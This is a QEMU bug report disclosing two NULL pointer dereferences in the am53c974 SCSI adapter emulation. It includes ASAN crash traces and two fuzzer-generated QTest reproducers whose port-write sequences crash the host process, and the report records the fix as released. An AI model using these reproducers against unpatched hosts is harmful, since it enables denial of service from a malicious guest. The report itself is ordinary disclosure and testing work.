NULL pointer dereference issues in am53c974 SCSI host bus adapter

Bug #1910723 reported by Mauro Matteo Cascella
8
This bug affects 1 person
Affects Status Importance Assigned to Milestone
QEMU
Fix Released
Undecided
Unassigned

Bug Description

Two NULL pointer dereference issues were found in the am53c974 SCSI host bus adapter emulation of QEMU. They could occur while handling the 'Information Transfer' command (CMD_TI) in function handle_ti() in hw/scsi/esp.c, and could be abused by a malicious guest to crash the QEMU process on the host resulting in a denial of service.

Both issues were reported by Cheolwoo Myung (Seoul National University). To reproduce them, configure and run QEMU as follows. Please find attached the required disk images.

$ ./configure --target-list=x86_64-softmmu --enable-kvm --enable-sanitizers
$ make
$ ./qemu-system-x86_64 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \
-device am53c974,id=scsi -device scsi-hd,drive=SysDisk \
-drive id=SysDisk,if=none,file=./disk.img

Additional info:
RHBZ: https://bugzilla.redhat.com/show_bug.cgi?id=1909766
RHBZ: https://bugzilla.redhat.com/show_bug.cgi?id=1909769

ASAN logs:
==672133==
hw/scsi/scsi-bus.c:1385:12: runtime error: member access within null pointer of type 'struct SCSIRequest'
AddressSanitizer:DEADLYSIGNAL
=================================================================
==672133==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000171 (pc 0x55bd63e20b85 bp 0x7f4b6fffdfa0 sp 0x7f4b6fffdf70 T7)
==672133==The signal is caused by a READ memory access.
==672133==Hint: address points to the zero page.
    #0 0x55bd63e20b85 in scsi_req_continue hw/scsi/scsi-bus.c:1385
    #1 0x55bd63ab34fb in esp_do_dma hw/scsi/esp.c:453
    #2 0x55bd63ab4b3c in handle_ti hw/scsi/esp.c:549
    #3 0x55bd63ab72a9 in esp_reg_write hw/scsi/esp.c:691
    #4 0x55bd63d7b5dd in esp_pci_io_write hw/scsi/esp-pci.c:206
    #5 0x55bd645d55a3 in memory_region_write_accessor softmmu/memory.c:491
    #6 0x55bd645d5a24 in access_with_adjusted_size softmmu/memory.c:552
    #7 0x55bd645e2baa in memory_region_dispatch_write softmmu/memory.c:1501
    #8 0x55bd646b75ff in flatview_write_continue softmmu/physmem.c:2759
    #9 0x55bd646b79d1 in flatview_write softmmu/physmem.c:2799
    #10 0x55bd646b8341 in address_space_write softmmu/physmem.c:2891
    #11 0x55bd646b83f9 in address_space_rw softmmu/physmem.c:2901
    #12 0x55bd648c4736 in kvm_handle_io accel/kvm/kvm-all.c:2285
    #13 0x55bd648c69c8 in kvm_cpu_exec accel/kvm/kvm-all.c:2531
    #14 0x55bd647b2413 in kvm_vcpu_thread_fn accel/kvm/kvm-cpus.c:49
    #15 0x55bd64f560de in qemu_thread_start util/qemu-thread-posix.c:521
    #16 0x7f4b981763f8 in start_thread (/lib64/libpthread.so.0+0x93f8)
    #17 0x7f4b980a3902 in __GI___clone (/lib64/libc.so.6+0x101902)

---

==672020==
hw/scsi/esp.c:196:62: runtime error: member access within null pointer of type 'struct SCSIDevice'
AddressSanitizer:DEADLYSIGNAL
=================================================================
==672020==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000098 (pc 0x559bc99946fd bp 0x7f08bd737fb0 sp 0x7f08bd737f70 T7)
==672020==The signal is caused by a READ memory access.
==672020==Hint: address points to the zero page.
    #0 0x559bc99946fd in do_busid_cmd hw/scsi/esp.c:196
    #1 0x559bc9994e71 in do_cmd hw/scsi/esp.c:220
    #2 0x559bc999ae81 in handle_ti hw/scsi/esp.c:555
    #3 0x559bc999d2a9 in esp_reg_write hw/scsi/esp.c:691
    #4 0x559bc9c615dd in esp_pci_io_write hw/scsi/esp-pci.c:206
    #5 0x559bca4bb5a3 in memory_region_write_accessor softmmu/memory.c:491
    #6 0x559bca4bba24 in access_with_adjusted_size softmmu/memory.c:552
    #7 0x559bca4c8baa in memory_region_dispatch_write softmmu/memory.c:1501
    #8 0x559bca59d5ff in flatview_write_continue softmmu/physmem.c:2759
    #9 0x559bca59d9d1 in flatview_write softmmu/physmem.c:2799
    #10 0x559bca59e341 in address_space_write softmmu/physmem.c:2891
    #11 0x559bca59e3f9 in address_space_rw softmmu/physmem.c:2901
    #12 0x559bca7aa736 in kvm_handle_io accel/kvm/kvm-all.c:2285
    #13 0x559bca7ac9c8 in kvm_cpu_exec accel/kvm/kvm-all.c:2531
    #14 0x559bca698413 in kvm_vcpu_thread_fn accel/kvm/kvm-cpus.c:49
    #15 0x559bcae3c0de in qemu_thread_start util/qemu-thread-posix.c:521
    #16 0x7f08e57ba3f8 in start_thread (/lib64/libpthread.so.0+0x93f8)
    #17 0x7f08e56e7902 in __GI___clone (/lib64/libc.so.6+0x101902)

CVE References

Revision history for this message
Mauro Matteo Cascella (mauro-cascella) wrote :
Revision history for this message
Alexander Bulekov (a1xndr) wrote :

QTest Reproducer for the first:
/*
 * Autogenerated Fuzzer Test Case
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 * See the COPYING file in the top-level directory.
 */

#include "qemu/osdep.h"

#include "libqos/libqtest.h"

/*
 * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \
 * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \
 * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio
 * outl 0xcf8 0x80001010
 * outl 0xcfc 0xc000
 * outl 0xcf8 0x80001004
 * outw 0xcfc 0x05
 * outb 0xc046 0x02
 * outl 0xc00b 0xc100
 * outl 0xc040 0x03
 * outl 0xc040 0x03
 * write 0x0 0x1 0x41
 * outl 0xc00b 0xc100
 * outw 0xc040 0x02
 * outw 0xc040 0x81
 * outl 0xc00b 0x9000
 * EOF
 */
static void test_fuzz(void)
{
    QTestState *s = qtest_init(
        "-display none , -m 512M -device am53c974,id=scsi -device "
        "scsi-hd,drive=disk0 -drive "
        "id=disk0,if=none,file=null-co://,format=raw -nodefaults");
    qtest_outl(s, 0xcf8, 0x80001010);
    qtest_outl(s, 0xcfc, 0xc000);
    qtest_outl(s, 0xcf8, 0x80001004);
    qtest_outw(s, 0xcfc, 0x05);
    qtest_outb(s, 0xc046, 0x02);
    qtest_outl(s, 0xc00b, 0xc100);
    qtest_outl(s, 0xc040, 0x03);
    qtest_outl(s, 0xc040, 0x03);
    qtest_bufwrite(s, 0x0, "\x41", 0x1);
    qtest_outl(s, 0xc00b, 0xc100);
    qtest_outw(s, 0xc040, 0x02);
    qtest_outw(s, 0xc040, 0x81);
    qtest_outl(s, 0xc00b, 0x9000);
    qtest_quit(s);
}
int main(int argc, char **argv)
{
    const char *arch = qtest_get_arch();

    g_test_init(&argc, &argv, NULL);

    if (strcmp(arch, "i386") == 0) {
        qtest_add_func("fuzz/test_fuzz", test_fuzz);
    }

    return g_test_run();
}

Revision history for this message
Alexander Bulekov (a1xndr) wrote :

QTest Reproducer for the second:
/*
 * Autogenerated Fuzzer Test Case
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or
 * later. See the COPYING file in the top-level directory.
 */

#include "qemu/osdep.h"

#include "libqos/libqtest.h"

/*
 * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, \
 * -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \
 * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio
 * outl 0xcf8 0x80001001
 * outl 0xcfc 0x01000000
 * outl 0xcf8 0x8000100e
 * outl 0xcfc 0xef800000
 * outl 0xef8b 0x4100
 * outw 0xef80 0x01
 * outl 0xefc0 0x03
 * outl 0xef8b 0xc100
 * outl 0xef8b 0x9000
 * EOF
 */
static void test_fuzz(void)
{
    QTestState *s = qtest_init(
        "-display none , -m 512M -device am53c974,id=scsi -device "
        "scsi-hd,drive=disk0 -drive "
        "id=disk0,if=none,file=null-co://,format=raw -nodefaults");
    qtest_outl(s, 0xcf8, 0x80001001);
    qtest_outl(s, 0xcfc, 0x01000000);
    qtest_outl(s, 0xcf8, 0x8000100e);
    qtest_outl(s, 0xcfc, 0xef800000);
    qtest_outl(s, 0xef8b, 0x4100);
    qtest_outw(s, 0xef80, 0x01);
    qtest_outl(s, 0xefc0, 0x03);
    qtest_outl(s, 0xef8b, 0xc100);
    qtest_outl(s, 0xef8b, 0x9000);
    qtest_quit(s);
}
int main(int argc, char **argv)
{
    const char *arch = qtest_get_arch();

    g_test_init(&argc, &argv, NULL);

    if (strcmp(arch, "i386") == 0) {
        qtest_add_func("fuzz/test_fuzz", test_fuzz);
    }

    return g_test_run();
}

tags: added: fuzzer
Revision history for this message
Mark Cave-Ayland (mark-cave-ayland) wrote :

Thank you both for the reproducers. Please see the proposed patchset here:

https://lists.gnu.org/archive/html/qemu-devel/2021-03/msg06063.html

Revision history for this message
Mauro Matteo Cascella (mauro-cascella) wrote :

I can confirm this is fixed now, thank you Mark.

Patchset v2:
https://lists.gnu.org/archive/html/qemu-devel/2021-03/msg06550.html

Revision history for this message
Mauro Matteo Cascella (mauro-cascella) wrote :
Changed in qemu:
status: New → Fix Released
Changed in qemu:
status: Fix Released → Fix Committed
Thomas Huth (th-huth)
tags: removed: qemu
Thomas Huth (th-huth)
Changed in qemu:
status: Fix Committed → Fix Released
To post a comment you must log in.
This report contains Public information  
Everyone can see this information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.